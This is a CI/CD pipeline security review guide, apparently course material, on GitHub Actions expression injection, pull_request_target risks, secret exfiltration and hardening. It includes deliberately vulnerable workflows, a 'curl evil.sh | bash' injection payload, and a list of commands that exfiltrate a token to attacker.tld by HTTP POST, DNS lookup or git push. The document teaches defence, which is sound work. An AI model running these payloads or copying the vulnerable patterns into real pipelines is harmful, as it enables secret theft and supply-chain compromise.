CI/CD Pipeline Security Code Review Guide
Table of Contents
Introduction
A CI/CD pipeline is the single most privileged system in most engineering organizations. It can read every line of source, sign and publish binaries, push container images to shared registries, deploy to production, assume cloud roles, and rotate its own credentials. Compromising a pipeline is therefore almost always equivalent to compromising every environment downstream of it — the runner becomes a pivot into production, into other repositories, and into any system the pipeline can authenticate to.
Pipeline vulnerabilities are also different from classical web bugs. The "application" being attacked is a YAML file executed on ephemeral infrastructure, the user input comes from branch names, PR titles, issue bodies, and tag messages, and the authentication bypass is usually "a third-party action you've never heard of now has your deploy key." Reviewers who are fluent in XSS and SQL injection can miss a devastating expression-injection sink because the sink is a shell interpolation inside a YAML string.
A compromised pipeline is a compromised production
Every secret the pipeline can read, every cloud role it can assume, and every artifact it can sign is now attacker-controlled. There is rarely a meaningful boundary between 'code ran on a build runner' and 'code ran in production' when that runner holds the deploy key, the signing key, and the cloud OIDC trust policy.
Why are CI/CD pipelines a uniquely high-value target compared to a typical web application?
Pipeline Attack Surface
Every CI/CD pipeline is the composition of several distinct components that each carry their own class of bugs: the triggering event, the workflow file, the runner (GitHub-hosted or self-hosted), the secrets available to the job, the third-party actions used, the artifacts produced, and the deployment credentials used downstream.
CI/CD Pipeline Attack Surface
Attacker-controlled: branch names, PR titles, issue bodies, commit messagesImages, binaries, npm/PyPI packages — tamper here, ship everywhereOIDC trust, deploy keys, kubeconfig — a compromised pipeline is a compromised prodKey Insight: CI/CD systems hold the keys to every environment the company owns. A successful pipeline compromise is not "code execution on a build box" — it is short-circuit access to production, signing keys, and every downstream consumer of your releases.
Pipeline Security Concerns by Component
| Component | Security Concern | Potential Impact |
|---|---|---|
| Trigger event | Attacker controls branch name, PR title, issue body | Expression injection, RCE |
| pull_request_target | Runs with secrets against fork code | Secret exfiltration from fork |
| Workflow file | ${{ }} interpolated into run: scripts | Shell command injection |
| GITHUB_TOKEN permissions | Default permissions too broad | Attacker writes to the repo |
| Third-party action | Floating tag, compromised upstream | Supply chain takeover |
| Self-hosted runner | Persistent state, public repo | Runner hijack, lateral movement |
| OIDC trust policy | Overly broad sub claim | Any repo can assume the cloud role |
| Artifacts / registries | Unsigned, unverified provenance | Tampered binary shipped to users |
A Dangerous Workflow
1# VULNERABLE: triggers on public PRs with write-scope secrets,
2# interpolates attacker-controlled input into a shell block,
3# and uses a floating third-party action tag.
4name: build
5on:
6 pull_request_target: # runs with repo secrets, even on fork PRs
7 branches: [main]
8
9jobs:
10 build:
11 runs-on: ubuntu-latest
12 steps:
13 - uses: actions/checkout@v4
14 with:
15 ref: ${{ github.event.pull_request.head.sha }} # checks out fork code
16
17 - name: Greet
18 run: echo "Thanks for PR ${{ github.event.pull_request.title }}" # INJECTION SINK
19
20 - uses: some-user/cool-action@v1 # floating tag, no SHA pin
21
22 - name: Deploy
23 env:
24 AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
25 AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
26 run: ./deploy.sh
27
28# Red flags:
29# 1. pull_request_target + checkout of PR code
30# 2. ${{ github.event.*.title }} inside a run: script
31# 3. Floating @v1 tag on a third-party action
32# 4. Long-lived AWS credentials instead of OIDC
33# 5. Default GITHUB_TOKEN permissions (write-scope)In the workflow above, which single change most reduces blast radius for public forks?
Expression Injection
GitHub Actions expressions (${{ ... }}) are expanded by the runner before the shell ever sees the resulting script. That expansion is pure string substitution — no escaping, no quoting. When an attacker-controlled field (a PR title, issue body, branch name, commit message, review body, or label) is interpolated directly into a run: block, the attacker effectively writes arbitrary shell into your job.
GitHub Actions Expression Injection Chain
// PR title: a"; curl evil.sh | bash # // or issue body, branch // name, commit message
run: |
echo "Title:
${{ github.event
.pull_request.title }}"
// Substituted BEFORE shell// Shell actually runs: echo "Title: a"; curl evil.sh | bash #" // Exfiltrates secrets
Fix: Pass attacker-controlled fields through an env: block and reference them as shell variables ("$PR_TITLE") — never interpolate $${{ ... }} directly inside a run: script.
Expression Injection Sinks to Grep For
1# All of these are shell-injectable when the referenced field is
2# attacker-controlled. Treat them like template sinks in web frameworks.
3
4- run: echo "Title: ${{ github.event.issue.title }}"
5- run: git log --grep "${{ github.event.head_commit.message }}"
6- run: deploy --tag "${{ github.event.pull_request.head.ref }}"
7- run: notify "${{ github.event.comment.body }}"
8- run: echo "${{ github.event.pull_request.body }}" > /tmp/body
9
10# Every one of these expands the raw string into the shell.
11# An attacker sets the field to: "; curl evil.sh | bash #
12# and gets RCE on the runner with whatever secrets the job has.Safe Pattern — Go Through env:
1# The value is placed in a process env var.
2# The shell only ever sees the variable *name*, not the attacker string,
3# so quoting prevents injection.
4- name: Greet safely
5 env:
6 PR_TITLE: ${{ github.event.pull_request.title }}
7 run: echo "Title: $PR_TITLE" # note the quotes
8
9# This works because YAML env: mapping sets the literal string into the
10# process environment; $PR_TITLE is expanded by the shell, which respects
11# the surrounding quotes. There is no template step that can inject shell.Attacker-Controlled Context Fields (partial list)
| Field | Who controls it | Common sink |
|---|---|---|
| github.event.issue.title / body | Anyone with a GitHub account | issues triggers |
| github.event.pull_request.title / body | External contributor | pull_request / pull_request_target |
| github.event.pull_request.head.ref | External contributor | branch name |
| github.event.head_commit.message | Anyone with push on the branch | push triggers |
| github.event.comment.body | Anyone who can comment | issue_comment / pull_request_review_comment |
| github.event.review.body | External contributor | pull_request_review |
| github.head_ref | External contributor | pull_request / pull_request_target |
Never interpolate github.event.* inside a run: block
If you see ${{ github.event.<anything> }} inside a run: script, treat it as an instant finding. The only safe way to use that data in a script is to pipe it through an env: var and reference it as a quoted shell variable. This pattern catches 90%+ of real-world pipeline expression-injection bugs.
Why is `echo "${{ github.event.issue.title }}"` unsafe even though it uses double quotes?
Untrusted Workflow Triggers
The single most dangerous trigger in GitHub Actions is pull_request_target. Unlike pull_request, it runs in the context of the base repository, which means it has access to repository secrets and a GITHUB_TOKEN with write scope. If you also check out the fork's HEAD in that job, you have just executed arbitrary attacker code with production credentials attached.
The Canonical pull_request_target Footgun
1# VULNERABLE — runs fork code with the base repo's secrets and write-scope token.
2on:
3 pull_request_target:
4 branches: [main]
5
6jobs:
7 test:
8 runs-on: ubuntu-latest
9 steps:
10 - uses: actions/checkout@v4
11 with:
12 ref: ${{ github.event.pull_request.head.sha }} # FORK'S CODE
13
14 - run: npm ci && npm test # runs npm lifecycle scripts from the fork
15 env:
16 NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # now in the attacker's processThe attacker does not need an expression-injection sink here. npm install runs preinstall/postinstall scripts from the fork's package.json. So do pip install, bundle install, composer install, many Makefile targets, and most build tools. If the attacker's fork merely contains a malicious install hook, checking out that code and running the build is game over.
Safer Patterns
1# OPTION 1 — use pull_request for anything that runs fork code.
2# pull_request runs in the FORK's context: no secrets, read-only token.
3on:
4 pull_request:
5 branches: [main]
6
7# OPTION 2 — if you truly need pull_request_target (e.g. auto-labeling),
8# NEVER check out the fork HEAD, and NEVER execute anything from it.
9on:
10 pull_request_target:
11 types: [opened]
12jobs:
13 label:
14 permissions:
15 pull-requests: write # minimum permission for the thing you want to do
16 runs-on: ubuntu-latest
17 steps:
18 - uses: actions/labeler@<pinned SHA> # does not check out PR code
19
20# OPTION 3 — split: cheap checks on pull_request (untrusted),
21# privileged steps on workflow_run after those pass.
22# Still pin actions by SHA and do not exfiltrate outputs from the first job
23# into the second without treating them as attacker-controlled.Fork code + secrets = authenticated RCE
Any workflow that (a) triggers on pull_request_target or workflow_run from an untrusted source, AND (b) checks out or executes the PR's HEAD, must be treated as an unauthenticated RCE endpoint whose authentication is "anyone who can open a PR."
A repo uses `on: pull_request_target` with `actions/checkout` pinned to the PR head, then runs `npm test`. Which control best mitigates this?
Secret Exfiltration
Once an attacker has RCE on a runner — via expression injection, a malicious install script, a compromised third-party action, or a hijacked self-hosted runner — the next move is always to steal secrets. GitHub Actions has a built-in secret masker that tries to redact known secret values from logs, but that defense is shallow: any transformation of the secret (base64, reverse, split-then-print, hexdump) bypasses the mask.
Secret Exfiltration Techniques That Bypass the Masker
1# All of these run on a compromised runner that has secrets in env.
2
3# 1. Base64 encode and POST elsewhere
4echo "$NPM_TOKEN" | base64 | curl -X POST --data @- https://attacker.tld/x
5
6# 2. Reverse the string (mask only matches the literal value)
7echo "$NPM_TOKEN" | rev
8
9# 3. Print one character at a time
10for i in $(seq 0 39); do printf '%s\n' "${NPM_TOKEN:$i:1}"; done
11
12# 4. Dump to an artifact, download later as a PR contributor
13echo "$NPM_TOKEN" > out.txt
14# actions/upload-artifact makes 'out.txt' downloadable from the UI
15
16# 5. Exfil via DNS (works even with strict egress)
17payload=$(echo -n "$NPM_TOKEN" | base32 | tr -d = | head -c 60)
18dig "${payload}.attacker.tld"
19
20# 6. Side-channel through commit: push token into a branch
21git commit -am "debug" && git push origin "exfil/$NPM_TOKEN"The review lesson is that the secret masker is a last line of defense, not a boundary. The real controls are: (1) do not put secrets in env unless the step actually needs them, (2) scope secrets to environments with required reviewers, (3) use short-lived OIDC-issued credentials instead of long-lived static ones, and (4) never run untrusted code in the same job as a privileged secret.
Scoping Secrets Tightly
1jobs:
2 test:
3 runs-on: ubuntu-latest
4 # Test job does not see production secrets.
5 steps:
6 - uses: actions/checkout@<pinned SHA>
7 - run: npm test
8
9 publish:
10 needs: test
11 if: github.ref == 'refs/heads/main'
12 runs-on: ubuntu-latest
13 environment: production # required reviewers gate this job
14 permissions:
15 id-token: write # for OIDC
16 contents: read
17 steps:
18 - uses: actions/checkout@<pinned SHA>
19 # Short-lived credentials assumed from cloud via OIDC — no long-lived key.
20 - uses: aws-actions/configure-aws-credentials@<pinned SHA>
21 with:
22 role-to-assume: arn:aws:iam::111122223333:role/gha-publish
23 aws-region: us-east-1
24 - run: ./publish.shACTIONS_STEP_DEBUG is production-hostile
Setting ACTIONS_STEP_DEBUG=true as a repo-level variable causes the runner to log many otherwise-masked values, expand all expressions with their raw inputs, and dump env vars. It is invaluable for local debugging and catastrophic when left on for a public repo. Treat it like DEBUG=* in production.
A reviewer sees `env: { TOKEN: ${{ secrets.PROD_TOKEN }} }` on every job in a workflow. What's the smell?
Prevention Basics
The baseline hygiene for a CI/CD pipeline is small enough to fit on a checklist, and following it eliminates the majority of real-world incidents. Most pipeline compromises come from skipping one of the following steps, not from a novel class of bug.
- Pin third-party actions by full commit SHA, not by tag. Tags are mutable; SHAs are not.
uses: foo/bar@abcdef0123...rather than@v2. - Set top-level
permissions:to the minimum the workflow needs. The defaultGITHUB_TOKENis write-scope across contents, packages, PRs, issues, and more — that is rarely what you want. - Use
pull_requestfor anything that runs fork code. Reservepull_request_targetfor privileged but code-free operations (labeling, triage). - Never interpolate
${{ github.event.* }}into arun:block. Pipe attacker-controlled values throughenv:and quote the shell variable. - Gate privileged jobs behind GitHub Environments with required reviewers. This means a human approves before prod secrets are exposed to any job.
- Prefer OIDC federation over long-lived cloud keys. Short-lived tokens scoped to a specific repo+branch+job beat static
AWS_ACCESS_KEY_IDsecrets. - Bind secrets to the narrowest possible scope. Step-level
env:beats job-level, which beats workflow-level. - Forbid floating tags in a repo-wide policy. Set "Allow actions and reusable workflows" to a strict allowlist and require specific SHAs.
A Minimum-Permission Workflow Skeleton
1name: ci
2on:
3 push:
4 branches: [main]
5 pull_request: # runs fork code in a no-secrets context
6
7permissions:
8 contents: read # start from zero; grant per-job as needed
9
10jobs:
11 build:
12 runs-on: ubuntu-latest
13 steps:
14 # pinned by SHA, not by tag
15 - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
16 - uses: actions/setup-node@1a4442cacd436585916779262731d5b162bc6ec7
17 with:
18 node-version: 20
19 - run: npm ci
20 - run: npm test
21
22 publish:
23 needs: build
24 if: github.ref == 'refs/heads/main'
25 runs-on: ubuntu-latest
26 environment: production # required reviewers
27 permissions:
28 id-token: write # for OIDC — minimum to assume the role
29 contents: read
30 steps:
31 - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
32 - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
33 with:
34 role-to-assume: arn:aws:iam::111122223333:role/gha-publish
35 aws-region: us-east-1
36 - run: ./publish.shBaseline checklist (apply to every workflow)
Pin actions by SHA · Set permissions: explicitly · Use pull_request (not pull_request_target) for fork code · Route attacker input through env: · Gate prod behind Environments · Prefer OIDC over static cloud keys · Scope secrets to the step that uses them · Lock down who can edit .github/workflows/ via CODEOWNERS.
You are reviewing a new workflow. Which two attributes give you the fastest signal about its blast radius?